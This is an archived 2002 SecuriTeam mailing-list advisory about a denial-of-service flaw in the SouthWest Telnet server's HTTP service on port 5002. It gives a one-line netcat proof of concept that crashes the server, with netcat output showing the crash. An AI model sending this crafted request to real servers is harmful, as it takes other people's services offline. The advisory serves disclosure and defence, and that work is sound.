

[NT] SouthWest Telnet Server Vulnerable to a DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0107.html>

From: support@securiteam.com

Date: 03/26/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 26 Mar 2002 11:33:05 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

SouthWest Telnet Server Vulnerable to a DoS

SUMMARY

<<http://someplaceelse.dynip.com/southwest/>> SouthWest is a free Telnet talker server for Windows. It includes full ANSI color support, a help system, an intuitive interface, and speed optimizations. Free, full source code is available at the company's Web site. A security vulnerability in the product allows attackers to crash the program.

DETAILS

The server by default opens the following ports:

- * Main listening on port 5000.
- * Netlink listening on port 5001.
- * HTTP server listening on port 5002.

The vulnerability is present in the 5002 port (the HTTP server), and occurs when a specially crafted HTTP request is received by the handling service.

Example:

```
$ printf "GET /&Alex" | nc -vvn 127.0.0.1 5002
(UNKNOWN) [127.0.0.1] 5002 (?) open
sent 10, rcvd 0: NOTSOCK
```

Securiteam: [NT] SouthWest Telnet Server Vulnerable to a DoS

```
$ nc -vvn 127.0.0.1 5002  
(UNKNOWN) [127.0.0.1] 5002 (?): connection refused  
sent 0, rcvd 0: NOTSOCK
```

```
$ nc -vvn 127.0.0.1 5000  
(UNKNOWN) [127.0.0.1] 5000 (?): connection refused  
sent 0, rcvd 0: NOTSOCK
```

```
$ nc -vvn 127.0.0.1 5001  
(UNKNOWN) [127.0.0.1] 5000 (?): connection refused  
sent 0, rcvd 0: NOTSOCK
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:alex_hernandez@ureach.com>
Alex Hernandez.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] phpBB Still Suffers From a Cross Site Scripting Vulnerability (Edit)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)